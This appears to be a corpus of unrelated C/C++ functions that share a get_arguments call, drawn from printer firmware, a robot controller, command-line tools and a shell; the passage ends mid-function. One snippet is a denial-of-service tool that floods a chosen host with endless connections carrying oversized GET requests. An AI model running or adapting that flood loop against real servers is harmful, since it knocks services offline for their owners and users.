// When a new line is received, check if it is a command, and if it is, act upon it void Configurator::on_console_line_received( void* argument ){ SerialMessage new_message = *static_cast<SerialMessage*>(argument); string possible_command = new_message.message; // We don't compare to a string but to a checksum of that string, this saves some space in flash memory uint16_t check_sum = get_checksum( possible_command.substr(0,possible_command.find_first_of(" \r\n")) ); // todo: put this method somewhere more convenient // Act depending on command switch( check_sum ){ case config_get_command_checksum: this->config_get_command( get_arguments(possible_command), new_message.stream ); break; case config_set_command_checksum: this->config_set_command( get_arguments(possible_command), new_message.stream ); break; case config_load_command_checksum: this->config_load_command( get_arguments(possible_command), new_message.stream ); break; } }
// When a new line is received, check if it is a command, and if it is, act upon it void SimpleShell::on_console_line_received( void* argument ){ SerialMessage new_message = *static_cast<SerialMessage*>(argument); string possible_command = new_message.message; //new_message.stream->printf("Received %s\r\n", possible_command.c_str()); // We don't compare to a string but to a checksum of that string, this saves some space in flash memory unsigned short check_sum = get_checksum( possible_command.substr(0,possible_command.find_first_of(" \r\n")) ); // todo: put this method somewhere more convenient // Act depending on command if (check_sum == ls_command_checksum) this->ls_command( get_arguments(possible_command), new_message.stream ); else if (check_sum == cd_command_checksum) this->cd_command( get_arguments(possible_command), new_message.stream ); else if (check_sum == pwd_command_checksum) this->pwd_command( get_arguments(possible_command), new_message.stream ); else if (check_sum == cat_command_checksum) this->cat_command( get_arguments(possible_command), new_message.stream ); else if (check_sum == break_command_checksum) this->break_command(get_arguments(possible_command),new_message.stream ); else if (check_sum == reset_command_checksum) this->reset_command(get_arguments(possible_command),new_message.stream ); else if (check_sum == dfu_command_checksum) this->dfu_command(get_arguments(possible_command),new_message.stream ); else if (check_sum == help_command_checksum) this->help_command(get_arguments(possible_command),new_message.stream ); }
int handled_zone_del_cmd(int sockfd, engine_type* engine, const char *cmd, ssize_t n) { const char *scmd = "zone delete"; cmd = ods_check_command(cmd,n,scmd); if (!cmd) return 0; // not handled ods_log_debug("[%s] %s command", module_str, scmd); std::string zone; int need_write_xml = 0; if (!get_arguments(sockfd,cmd,zone, need_write_xml)) { help_zone_del_cmd(sockfd); return 1; } time_t tstart = time(NULL); perform_zone_del(sockfd,engine->config, zone.c_str(), need_write_xml, false); ods_printf(sockfd,"%s completed in %ld seconds.\n",scmd,time(NULL)-tstart); return 1; }
static bool _get_arguments (struct arguments *args, int argc, char *argv[]) { struct arguments_definition def; struct arguments_option options[] = { { "Output", 'f', "format", required_argument, "FORMAT", "format of timestamp (see strftime)" }, { "Miscellaneous", 'V', "version", no_argument, NULL, "print version information and exit" }, { "Miscellaneous", 'h', "help", no_argument, NULL, "display this help and exit" }, { NULL, 0, NULL, 0, NULL, NULL } }; memset (&def, 0, sizeof (def)); def.print_usage_header = &_print_usage_header; def.process_option = &_process_option; def.process_non_options = NULL; def.options = options; memset (args, 0, sizeof (struct arguments)); strcpy (args->format, "%c "); def.user_data = args; return get_arguments (&def, argc, argv); }
int main(int ac, char**av) { globals_t globals; bzero(&globals, sizeof(globals_t)); if (!get_arguments(&globals.option, ac, av)) return -1; if (globals.option.verbose) print_version(); if (!sockets_init()) return 0; if (!init_sov(&globals)) return -1; if (globals.option.verbose) printf("Initialisation complete :)" EOL); run_pcapture(globals.capture_device, add_packet, runloop_idle, &globals); cleanup(&globals); return 0; }
int main(int argc, char **argv) { t_arguments arguments; int i; void *current_file_data; i = 0; if (get_arguments(argc, argv, &arguments) == -1) return (-1); while (arguments.file_paths[i]) { if (access(arguments.file_paths[i], F_OK) == -1) printf("nm: '%s': No such file\n", arguments.file_paths[i]); else { if (arguments.number_of_files > 1) printf("\n%s:\n", arguments.file_paths[i]); if ((current_file_data = open_file(arguments.file_paths[i])) == NULL) return (-1); if (check_header_type((Elf64_Ehdr*) current_file_data) == -1) return (-1); if (analyse_file_data(current_file_data, &arguments) == -1) return (-1); } i++; } return (0); }
void SimpleShell::on_gcode_received(void *argument) { Gcode *gcode = static_cast<Gcode *>(argument); string args = get_arguments(gcode->get_command()); if (gcode->has_m) { if (gcode->m == 20) { // list sd card gcode->stream->printf("Begin file list\r\n"); ls_command("/sd", gcode->stream); gcode->stream->printf("End file list\r\n"); } else if (gcode->m == 30) { // remove file rm_command("/sd/" + args, gcode->stream); } else if(gcode->m == 501) { // load config override if(args.empty()) { load_command("/sd/config-override", gcode->stream); } else { load_command("/sd/config-override." + args, gcode->stream); } } else if(gcode->m == 504) { // save to specific config override file if(args.empty()) { save_command("/sd/config-override", gcode->stream); } else { save_command("/sd/config-override." + args, gcode->stream); } } } }
int main(int argc, char *argv[]) { int m, n=10000, **tab, *ptr; unsigned long d; double time; struct timeval start, end; //usage(); get_arguments(argc, argv, &n); /* set start time */ gettimeofday(&start, 0); /* initialize tab with random values */ /* TODO initialize tab on input */ init_tab(n, &m, &tab, 1, &ptr); /* calculate total distance of the roads */ d = distance(tab, n); /* calculate and print calculation time */ gettimeofday(&end, 0); time = (end.tv_sec + (end.tv_usec / 1000000.0)) -\ (start.tv_sec + (start.tv_usec / 1000000.0)); fprintf(stderr, "ASP took %f seconds\n", time); /* print the total distance */ printf("Distance: %ld\n", d); /* free the 2d road array */ free_tab(tab, n); return 0; }
std::string options_class::format_arguments() const { std::string arguments_string = get_arguments(); if (arguments_string == "") { return "<none>"; } return arguments_string; }
static bool _get_arguments (struct arguments *args, int argc, char *argv[]) { struct arguments_definition def; struct arguments_option options[] = { { "Selection", 'a', "account", required_argument, "ACCOUNT", "only read entries for ACCOUNT" }, { "Selection", 'f', "from_date", required_argument, "DATE", "only read entries with dates >= DATE" }, { "Selection", 't', "to_date", required_argument, "DATE", "only read entries with dates <= DATE" }, { "Selection", 'd', "date", required_argument, "DATE", "only read entries with dates matching DATE" }, { "Transformation", 'i', "invert-amounts", no_argument, NULL, "invert te sign of all amounts" }, { "Output control", 'A', "list-by-account", no_argument, NULL, "list the results grouped by account" }, { "Output control", 'D', "list-by-date", no_argument, NULL, "list the results grouped by date" }, { "Output control", 'T', "list-total", no_argument, NULL, "list the total amount" }, { "Output control", 500, "list-details", no_argument, NULL, "list all the details (default)" }, { "Miscellaneous", 'V', "version", no_argument, NULL, "print version information and exit" }, { "Miscellaneous", 'h', "help", no_argument, NULL, "print this help and exit" }, { NULL, 0, NULL, 0, NULL, NULL } }; memset (&def, 0, sizeof (struct arguments_definition)); def.print_usage_header = &_print_usage_header; def.process_option = &_process_option; def.process_non_options = &_process_non_options; def.options = options; memset (args, 0, sizeof (struct arguments)); def.user_data = args; if (get_arguments (&def, argc, argv)) { if (!(args->list_details) && !(args->list_by_account) && !(args->list_by_date) && !(args->list_total)) args->list_details = true; return true; } return false; }
void Panel::on_gcode_received(void *argument) { Gcode *gcode = static_cast<Gcode *>(argument); if ( gcode->has_m) { if ( gcode->m == 117 ) { // set LCD message this->message = get_arguments(gcode->get_command()); if (this->message.size() > 20) this->message = this->message.substr(0, 20); gcode->mark_as_taken(); } } }
/*************************************************************************************** Function : main Desc : It starts the program execution. It first takes the program arguments and the read topology file to fill topology structure. After that it initializes the link structure to access the link cost of its neighbours and then it run the server which waits for STDIN or Input/Output on socket in while loop. Parameters : argc - input argument count argv - Array of pointers to input argumerns Return Val : Integer Comments : ****************************************************************************************/ int main(int argc , char *argv[]) { get_arguments(argc,argv); memset(&disabled_server_ids,0,num_servers); read_topology_file(); num_servers = topology.num_servers +1; init_cost_table(); port = topology.server_port; printf("\n My Port :%d",port); run_server_part(); return 0; }
// When a new line is received, check if it is a command, and if it is, act upon it void Player::on_console_line_received( void* argument ){ SerialMessage new_message = *static_cast<SerialMessage*>(argument); // ignore comments if(new_message.message[0] == ';') return; string possible_command = new_message.message; //new_message.stream->printf("Received %s\r\n", possible_command.c_str()); // We don't compare to a string but to a checksum of that string, this saves some space in flash memory unsigned short check_sum = get_checksum( possible_command.substr(0,possible_command.find_first_of(" \r\n")) ); // todo: put this method somewhere more convenient // Act depending on command if (check_sum == play_command_checksum) this->play_command( get_arguments(possible_command), new_message.stream ); else if (check_sum == progress_command_checksum) this->progress_command(get_arguments(possible_command),new_message.stream ); else if (check_sum == abort_command_checksum) this->abort_command(get_arguments(possible_command),new_message.stream ); else if (check_sum == cd_command_checksum) this->cd_command( get_arguments(possible_command), new_message.stream ); }
int main(int argc, char **argv) { int i; MEMORY_init(); COMMON_init(); TRY { get_arguments(argc, argv); COMPILE_init(); // Remove information files if we are compiling everything if (main_compile_all) { if (main_verbose) puts("Removing .info and .list files"); FILE_chdir(FILE_get_dir(COMP_project)); FILE_unlink(".info"); FILE_unlink(".list"); } init_files(FILE_get_dir(COMP_project)); for (i = 0; i < ARRAY_count(_files); i++) compile_file(_files[i]); exit_files(); COMPILE_exit(); puts("OK"); } CATCH { fflush(NULL); COMPILE_print(MSG_ERROR, -1, NULL); ERROR_print(); exit(1); } END_TRY return 0; }
// When a new line is received, check if it is a command, and if it is, act upon it void SimpleShell::on_console_line_received( void *argument ) { SerialMessage new_message = *static_cast<SerialMessage *>(argument); // ignore comments if (new_message.message[0] == ';') return; string possible_command = new_message.message; //new_message.stream->printf("Received %s\r\n", possible_command.c_str()); // We don't compare to a string but to a checksum of that string, this saves some space in flash memory unsigned short check_sum = get_checksum( possible_command.substr(0, possible_command.find_first_of(" \r\n")) ); // todo: put this method somewhere more convenient // find command and execute it parse_command(check_sum, get_arguments(possible_command), new_message.stream); }
int main(int argc,char** argv){ printf("%s",TITLE); get_arguments(argc,argv); struct sockaddr_in s; use.sizes=sizeof(s); s.sin_family=AF_INET; s.sin_addr.s_addr=inet_addr(use.host); s.sin_port=htons(use.port); printf("[*]connection established\n"); printf("[*]Sending packets!\n"); for(;;){ use.x++; use.sockets = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (use.sockets < 0){ printf("line 81"); error_handle(); } if (strcmp(use.option, "get") == 0){ copy_str(use.sendbytes, GET1, 5); mset(use.sendbytes+5,0x41,999999); copy_str(use.sendbytes+5+999999, GET2, 17); }else{ if(strcmp(use.option,"flood")==0){ mset(use.sendbytes+5,0x41,999999); } } if(connect(use.sockets,(struct sockaddr*)&s,use.sizes)<0){ printf("Nr of connections:%d\nline 89:",use.x); error_handle(); }else{ printf("."); } if(send(use.sockets,use.sendbytes,sizeof(use.sendbytes),0)<0){ printf("Nr of sends:\nline 96:",use.x); error_handle(); shutdown(use.sockets,1); }else{ memset(use.recvbytes,0,BUFFSZ); recv(use.sockets,use.recvbytes,BUFFSZ,0); } } printf("[*]Done!\n"); return 0; }
void SimpleShell::on_gcode_received(void *argument) { Gcode *gcode = static_cast<Gcode *>(argument); string args= get_arguments(gcode->command); if (gcode->has_m) { if (gcode->m == 20) { // list sd card gcode->mark_as_taken(); gcode->stream->printf("Begin file list\r\n"); ls_command("/sd", gcode->stream); gcode->stream->printf("End file list\r\n"); } else if (gcode->m == 30) { // remove file gcode->mark_as_taken(); rm_command("/sd/" + args, gcode->stream); } } }
void master_system_call_handler (void) { message_t arg = get_arguments (); char str[2]; switch (arg.dest) { case SYSCALL_PRINTCHAR: str[1] = '\0'; str[0] = (char) arg.data_u.data1.mt1_l1; printk(&str[0]); break; } //printk ("System call: "); //printk_long (arg.dest); //newline(); load_task (cur_task, BUSY_SET); }
/* Generator function for command completion. STATE lets us know whether * to start from scratch; without any state (i.e. STATE == 0), then we * start at the top of the list. */ static char *item_generator(const char *text, int state, const char *item, cpl_item_t type) { static int list_index, len; char *name; /* If this is a new word to complete, initialize now. This includes * saving the length of TEXT for efficiency, and initializing the index * variable to 0. */ if (!state) { list_index = 0; len = strlen(text); switch(type) { case ITEM_ARG: get_items(item); break; case ITEM_HELP: get_arguments(item); break; } } /* Return the next name which partially matches from the command list. */ while (items && list_index < items->list.size()) { name = (char *)items->list[list_index]; list_index++; if (bstrncmp(name, text, len)) { char *ret = (char *) actuallymalloc(strlen(name)+1); strcpy(ret, name); return ret; } } /* If no names matched, then return NULL. */ return ((char *)NULL); }
// When a new line is received, check if it is a command, and if it is, act upon it void SimpleShell::on_console_line_received( void* argument ){ SerialMessage new_message = *static_cast<SerialMessage*>(argument); string possible_command = new_message.message; // We don't compare to a string but to a checksum of that string, this saves some space in flash memory unsigned short check_sum = get_checksum( possible_command.substr(0,possible_command.find_first_of(" \r\n")) ); // todo: put this method somewhere more convenient // Act depending on command switch( check_sum ){ case ls_command_checksum : this->ls_command( get_arguments(possible_command), new_message.stream ); break; case cd_command_checksum : this->cd_command( get_arguments(possible_command), new_message.stream ); break; case pwd_command_checksum : this->pwd_command( get_arguments(possible_command), new_message.stream ); break; case cat_command_checksum : this->cat_command( get_arguments(possible_command), new_message.stream ); break; case play_command_checksum : this->play_command(get_arguments(possible_command), new_message.stream ); break; case reset_command_checksum : this->reset_command(get_arguments(possible_command),new_message.stream ); break; } }
void create_processes(char* buffer, char commands[][CMD_SIZE], char* envp[]) { int size = parse_cmds(buffer, commands); int pip[2], total = 0, pipe_in = 0; switch(fork()) { case -1: shell_error("fork()"); case 0: while(total != size) { if(pipe(pip) == -1) shell_error("pipe()"); //printf("pip : %d, %d\n", pip[0], pip[1]); char* temp[CMD_SIZE]; char* args[CMD_SIZE]; int used = separate_commands(total, commands, size, temp); get_arguments(temp, used, args); //NULL TERMINATED //print_args(temp, used); //print_args2(args); int in = get_stdin(temp, used, pipe_in); //get instream and outstream. int out = get_stdout(temp, used, pip); //printf("%d : %d\n", in, out); prepare_to_execute(args, envp, in, out); pipe_in = has_pipe(temp, used, pip); //printf("[%d]\n", pipe_in); total += used; } exit(1); default: if(!has_bg(commands, size)) if (wait(0) == -1) shell_error("wait()"); } }
// Main int main(int argc, char **argv) { atexit(bye); #ifdef LINUX fl_open_display(); #endif //nouvelle userinterface I=new UserInterface; //créer et centrer le window principal main_window = I->make_window(); center(main_window); //about about = I->make_about(); I->about_button->callback(about_click); //construction des combos //taille automatique qui se trouvent dans taille[] //les ajoutent dans combo { int i=0; while(taille[i].str) { I->combo_taille->add(taille[i].str); i++; } } //sélectionner la première taille automatique I->combo_taille->value(0); //les tailles manuelles I->combo_mesure->add("Mo"); I->combo_mesure->add("Ko"); I->combo_mesure->add("Octet"); I->combo_mesure->value(0); I->taille->value(DEFAULT_TAILLE_MANUELLE); //callback I->btn_quitter->callback(btn_quitter_click); main_window->callback(btn_quitter_click); I->btn_browse_file->callback(btn_browse_file_click); I->btn_browse_dir->callback(btn_browse_dir_click); I->btn_about->callback(show_about); I->btn_split->callback(btn_split_click); I->rassembler->callback(rassembler_click); //les arguments passés au programme get_arguments(argc,argv); //Charger le fichier de configuration... load_config(); //show Fl::visual(FL_DOUBLE|FL_INDEX); { char *_argv[] = {argv[0],0}; main_window->show(1,_argv); } return Fl::run(); }
int main(void) { uint8_t sensor; // Stores analog readings for transmission int i; // multipurpose counter char choice = 0; // Holds the top-level menu character // int red = 0; // For the red LED intensity // int green = 0; // For the green LED intensity // int blue = 0; // For the blue LED intensity uint8_t exit = 0; // Flag that gets set if we need to go back to idle mode. unsigned int temph=0; // Temporary variable (typically stores high byte of a 16-bit int ) unsigned int templ=0; // Temporary variable (typically stores low byte of a 16-bit int) uint8_t location = 0; // Holds the EEPROM location of a stored IR signal // unsigned int frequency = 0; // For PWM control - PWM frequency, also used to set buzzer frequency // int amplitude; int channel; unsigned int duty; // For PWM control - PWM duty cycle int baud; // Baud rate selection for auxiliary UART char scale; // For auxiliary UART long int time_out=0; // Counter which counts to a preset level corresponding to roughly 1 minute // Initialize system // Turn off JTAG to save a bit of battery life CCP = CCP_IOREG_gc; MCU.MCUCR = 1; init_clock(); init_led(); init_adc(); init_ir(); init_BT(); init_dac(); init_buzzer(); initAccel(); init_aux_uart(131, -3); // Set the auxiliary uart to 115200 8n1 EEPROM_DisableMapping(); // Enable global interrupts sei(); // Do the following indefinitely while(1) { // Turn off LED set_led(0,0,0); // Reset flags (in case this isn't the first time through the loop) exit = 0; choice = 0; time_out = 0; stop_ir_timer(); // Sing a BL song in idle mode so you can be found. Stop as soon as you get a * while(choice != 42) { bt_putchar('B'); bt_putchar('L'); if (USART_RXBufferData_Available(&BT_data)) { choice = USART_RXBuffer_GetByte(&BT_data); if (choice == 128) { // Something is trying to connect directly to an iRobot set_aux_baud_rate( ROOMBA_UART_SETTINGS ); // depends on model aux_putchar( 128); // pass through to iRobot serial_bridge(); // currently never returns } else if (choice == 0) { // Something may be trying to connect directly to a MindFlex headset set_aux_baud_rate( 135, -2); // 57600 aux_putchar( 0); // pass through to headset serial_bridge(); // currently never returns; } else { bt_putchar(choice); } } if (choice != 42) _delay_ms(500); } // Active part of the program - listens for commands and responds as necessary while(exit == 0) { // Checks if we haven't heard anything for a long time, in which case we exit loop and go back to idle mode time_out++; // Corresponds to roughly 60 seconds if(time_out > 33840000) { exit = 1; } // Check for a command character if (USART_RXBufferData_Available(&BT_data)) { choice = USART_RXBuffer_GetByte(&BT_data); } else { choice = 0; } // If it exists, act on command if(choice != 0) { // Reset the time out time_out = 0; // Return the command so the host knows we got it bt_putchar(choice); // Giant switch statement to decide what to do with the command switch(choice) { // Return the currect accelerometer data - X, Y, Z, and status (contains tapped and shaken bits) case 'A': updateAccel(); bt_putchar(_acc.x); bt_putchar(_acc.y); bt_putchar(_acc.z); bt_putchar(_acc.status); break; // Set the buzzer case 'B': // frequency_divider(2) if (get_arguments(2)) { set_buzzer(GET_16BIT_ARGUMENT(0)); } break; // Turn off the buzzer case 'b': turn_off_buzzer(); break; // Returns the value of the light sensor case 'L': sensor = read_analog(LIGHT, 0); bt_putchar(sensor); break; // Returns the Xmegas internal temperature read - this is undocumented because the value returned is very erratic case 'T': sensor = read_internal_temperature(); bt_putchar(sensor); break; // Returns the battery voltage case 'V': sensor = read_analog(BATT_VOLT, 0); bt_putchar(sensor); break; // Differential ADC mode case 'D': // active(1) numgainstages(1) if (get_arguments(2)) { if (arguments[0] == '0') { adcResolution = ADC_RESOLUTION_8BIT_gc; adcConvMode = ADC_ConvMode_Unsigned; adcGain = ADC_DRIVER_CH_GAIN_NONE; adcInputMode = ADC_CH_INPUTMODE_SINGLEENDED_gc; init_adc(); } else if (arguments[0] == '1') { adcResolution = ADC_RESOLUTION_12BIT_gc; adcConvMode = ADC_ConvMode_Signed; if (arguments[1] >= '1' && arguments[1] <= '6') { // number of gain stages adcGain = (arguments[1] - '0') << ADC_CH_GAINFAC_gp; adcInputMode = ADC_CH_INPUTMODE_DIFFWGAIN_gc; init_adc(); } else if (arguments[1] == '0') { adcGain = ADC_DRIVER_CH_GAIN_NONE; adcInputMode = ADC_CH_INPUTMODE_DIFF_gc; init_adc(); } else { err(); } } else { err(); } } break; // Returns the readings on all six ADC ports case 'X': for (i=0; i<6; i++) { sensor = read_analog(pgm_read_byte_near(muxPosPins+i), 0); bt_putchar(sensor); } break; // Returns differential measurement on pair of ADC ports // Assumes we are in differential mode case 'x': if (get_arguments(2)) { i = read_differential(arguments[0], arguments[1]); bt_putchar(0xFF&(i >> 8)); bt_putchar(0xFF&i); } break; case 'e': // this is a bit of testing code, which will eventually be changed // do not rely on it if (get_arguments(2)) { char a1 = arguments[0]; char a2 = arguments[1]; while(1) { _delay_ms(2); i = read_differential(a1, a2); itoa((i<<4)>>4, (char*)arguments, 10); for (i=0; arguments[i]; i++) bt_putchar(arguments[i]); bt_putchar('\r'); bt_putchar('\n'); } } break; // Sets the full-color LED case 'O': // red(1) green(1) blue(1); if (get_arguments(3)) { set_led(arguments[0], arguments[1], arguments[2]); } break; // Switches serial between irDA and standard serial // Currently, this works over the same port numbers as // standard serial, instead of using the IR receiver // and IR LED. This may change when I get the IR receiver // and LED working reliably. case 'J': temph = bt_getchar_timeout_echo(); if(/*temph == 256 || */ temph < '0' || temph > '1') { err(); break; } set_irda_mode(temph - '0'); break; // Sets up the IR transmitter with signal characteristics case 'I': init_ir(); temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } // Set the frequency of the IR carrier robotData.frequency = ((temph)<<8) + templ; set_ir_carrier(robotData.frequency); templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } else { // Set the length of the start up pulses robotData.startUpPulseLength = templ; } if(robotData.startUpPulseLength > 16) { err(); break; } // Read in the start up pulse timing data for(i=0; i < robotData.startUpPulseLength; i++) { temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } robotData.startUpPulse[i] = ((temph)<<8) + templ; } if(temph == 256 || templ == 256) { break; } templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } // Set the bit encoding to one of four pre-determined settings (see protocol instructions for more information) robotData.bitEncoding = templ; templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } // Set the number of bits (and bytes) contained in an IR command robotData.numBits = templ; robotData.numBytes = (robotData.numBits-1)/8 + 1; temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } // Set timing data for a high bit robotData.highBitTime = ((temph)<<8) + templ; temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } templ = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } // Set timing data for a low bit robotData.lowBitTime = ((temph)<<8) + templ; temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } // Set timing data for on or off robotData.offTime = ((temph)<<8) + templ; break; // Transmit an IR signal according to the previously determined configuration case 'i': init_ir(); // Get the signal data as one or more bytes for(i = 0; i < robotData.numBytes; i++) { templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } robotData.irBytes[i] = templ; } if(templ == 256) { break; } temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } // Determine if the signal is repeated or not, and if so, with what frequency robotData.repeatTime = ((temph)<<8) + templ; if(robotData.repeatTime != 0) { robotData.repeatFlag = 1; } else { robotData.repeatFlag = 0; } // Startup timer interrupts start_ir_timer(); break; // Turn off any repeating IR signal case '!': robotData.repeatFlag = 0; stop_ir_timer(); break; // Capture a signal from the IR receiver case 'R': init_ir_read(); while(ir_read_flag!=0); break; // Store the captured signal in an EEPROM location case 'S': location = bt_getchar_timeout_echo()-48; // Subtracting 48 converts from ASCII to numeric numbers if((location >= 0) && (location < 5) && (signal_count > 4)) { write_data_to_eeprom(location); } else { err(); } break; // Receive a raw IR signal over bluetooth and transmit it with the IR LED case 's': if(read_data_from_serial()) { temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } // Set if the signal should repeat and if so, with what frequency robotData.repeatTime = ((temph)<<8) + templ; if(robotData.repeatTime != 0) { robotData.repeatFlag = 1; } else { robotData.repeatFlag = 0; } // Set frequency to 38KHz, since raw signals must have come from the receiver at some point robotData.frequency = 0x0349; robotData.startUpPulseLength = 0; robotData.bitEncoding = 0x04; start_ir_timer(); } else { err(); break; } break; // Get a stored signal from an EEPROM location and transmit it over the IR LED (and repeat as desired) case 'G': location = bt_getchar_timeout_echo()-48; if(location >= 0 && location < 5) { temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } robotData.repeatTime = ((temph)<<8) + templ; if(robotData.repeatTime != 0) { robotData.repeatFlag = 1; } else { robotData.repeatFlag = 0; } read_data_from_eeprom(location); robotData.frequency = 0x0349; robotData.startUpPulseLength = 0; robotData.bitEncoding = 0x04; start_ir_timer(); } else { err(); } break; // Get a stored signal from EEPROM and print it over bluetooth to the host case 'g': location = bt_getchar_timeout_echo()-48; if(location >= 0 && location < 5) { print_data_from_eeprom(location); } else { err(); } break; // Output on digital I/O case '>': // Set port temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } // Get value templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } set_output(temph, (templ-48)); break; // Input on digital I/O case '<': // Get port temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } // Get value (1 or 0) templ = read_input(temph)+48; bt_putchar(templ); break; // Configure PWM frequency case 'P': if (get_arguments(2)) pwm_frequency = GET_16BIT_ARGUMENT(0); break; // Set PWM duty cycle for a specific port case 'p': if (get_arguments(3)) { set_pwm(); duty = GET_16BIT_ARGUMENT(1); if (arguments[0] == '0') set_pwm0(duty); else if (arguments[1] == '1') set_pwm1(duty); // could add else err();, but original firmware doesn't do this } break; // Set DAC voltage on one of the two DAC ports case 'd': temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } if(temph == '0') { temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } else { set_dac0(temph); } } else if(temph == '1') { temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } else { set_dac1(temph); } } break; // Go back to idle mode so you can be found again. Should be sent at end of host program. case 'Q': exit = 1; break; // Human-readable uart speed setting case 'u': temph = bt_getchar_timeout_echo(); if(temph == 256) { err(); break; } templ = bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } baud = ((temph)<<8) + templ; switch(baud) { case ('1'<<8) + '2': // 1200 baud = 6663; scale = -2; break; case ('4'<<8) + '8': // 4800 baud = 3325; scale = -3; break; case ('9'<<8) + '6': // 9600 baud = 829; scale = -2; break; case ('1'<<8) + '9': // 19200 baud = 825; scale = -3; break; case ('3'<<8) + '8': // 38400 baud = 204; scale = -2; break; case ('5'<<8) + '7': // 57600 baud = 135; scale = -2; break; case ('1'<<8) + '1': // 115200 baud = 131; scale = -3; break; default: err(); goto BAUD_DONE; } set_aux_baud_rate(baud, scale); BAUD_DONE: break; // Configures the baud rate of the auxiliary UART case 'C': // baud(2) scale(1) // e.g., 9600 = C\x03\x3D\xFE if (! get_arguments(3)) break; bt_putchar(arguments[2]); // duplicate buggy behavior from official firmware; delete if unwanted set_aux_baud_rate( GET_16BIT_ARGUMENT(0), arguments[2]); break; // BT-serial high speed bridge mode case 'Z': serial_bridge(); break; case 'w': // channel(1) type(1) duty(1) amplitude(1) frequency(3) // w0s\x20\xFF\x02\x00\x00 if (!get_arguments(7)) break; if (arguments[0] < '0' || arguments[0] > '1' || arguments[2] > WAVEFORM_SIZE) { err(); break; } play_wave_dac(arguments[0]-'0', (char)arguments[1], arguments[2], arguments[3], get_24bit_argument(4)); break; case 'W': // channel(1) frequency(3) length(1) data(length) if (!get_arguments(5)) break; if (arguments[0] < '0' || arguments[0] > '1' || arguments[4] > WAVEFORM_SIZE || arguments[4] == 0 ) { err(); break; } channel = arguments[0] - '0'; if (bt_to_buffer(waveform[channel], arguments[4])) { disable_waveform(channel); play_arb_wave(channel, waveform[channel], arguments[4], get_24bit_argument(1)); } break; case '@': channel = bt_getchar_timeout_echo(); if (channel == '0') disable_waveform0(); else if (channel == '1') disable_waveform1(); else err(); break; case 'r': i = USART_RXBufferData_AvailableCount(&AUX_data); bt_putchar((uint8_t)(i+1)); while(i-- > 0) { bt_putchar(USART_RXBuffer_GetByte(&AUX_data)); } break; // Transmit a stream of characters from bluetooth to auxiliary serial case 't': temph= bt_getchar_timeout_echo(); if (temph == 256) { err(); break; } for(; temph>0; temph--) { templ= bt_getchar_timeout_echo(); if(templ == 256) { err(); break; } else { aux_putchar( templ); } } break; default: break; } }
void Player::on_gcode_received(void *argument) { Gcode *gcode = static_cast<Gcode*>(argument); string args= get_arguments(gcode->command); if (gcode->has_m) { if (gcode->m == 21) { // Dummy code; makes Octoprint happy -- supposed to initialize SD card gcode->mark_as_taken(); gcode->stream->printf("SD card ok\r\n"); }else if (gcode->m == 23) { // select file gcode->mark_as_taken(); // Get filename this->filename= "/sd/" + this->absolute_from_relative(shift_parameter( args )); this->current_stream = &(StreamOutput::NullStream); if(this->current_file_handler != NULL) { this->playing_file = false; fclose(this->current_file_handler); } this->current_file_handler = fopen( this->filename.c_str(), "r"); // get size of file int result = fseek(this->current_file_handler, 0, SEEK_END); if (0 != result){ gcode->stream->printf("WARNING - Could not get file size\r\n"); file_size= -1; }else{ file_size= ftell(this->current_file_handler); fseek(this->current_file_handler, 0, SEEK_SET); } if(this->current_file_handler == NULL){ gcode->stream->printf("file.open failed: %s\r\n", this->filename.c_str()); }else{ gcode->stream->printf("File opened:%s Size:%ld\r\n", this->filename.c_str(),file_size); gcode->stream->printf("File selected\r\n"); } this->played_cnt= 0; this->elapsed_secs= 0; }else if (gcode->m == 24) { // start print gcode->mark_as_taken(); if (this->current_file_handler != NULL) { this->playing_file = true; this->reply_stream= gcode->stream; } }else if (gcode->m == 25) { // pause print gcode->mark_as_taken(); this->playing_file = false; }else if (gcode->m == 26) { // Reset print. Slightly different than M26 in Marlin and the rest gcode->mark_as_taken(); if(this->current_file_handler != NULL){ // abort the print abort_command("", gcode->stream); // reload the last file opened this->current_file_handler = fopen( this->filename.c_str(), "r"); if(this->current_file_handler == NULL){ gcode->stream->printf("file.open failed: %s\r\n", this->filename.c_str()); }else{ // get size of file int result = fseek(this->current_file_handler, 0, SEEK_END); if (0 != result){ gcode->stream->printf("WARNING - Could not get file size\r\n"); file_size= 0; }else{ file_size= ftell(this->current_file_handler); fseek(this->current_file_handler, 0, SEEK_SET); } } }else{ gcode->stream->printf("No file loaded\r\n"); } }else if (gcode->m == 27) { // report print progress, in format used by Marlin gcode->mark_as_taken(); progress_command("-b", gcode->stream); }else if (gcode->m == 32) { // select file and start print gcode->mark_as_taken(); // Get filename this->filename= "/sd/" + this->absolute_from_relative(shift_parameter( args )); this->current_stream = &(StreamOutput::NullStream); if(this->current_file_handler != NULL) { this->playing_file = false; fclose(this->current_file_handler); } this->current_file_handler = fopen( this->filename.c_str(), "r"); if(this->current_file_handler == NULL){ gcode->stream->printf("file.open failed: %s\r\n", this->filename.c_str()); }else{ this->playing_file = 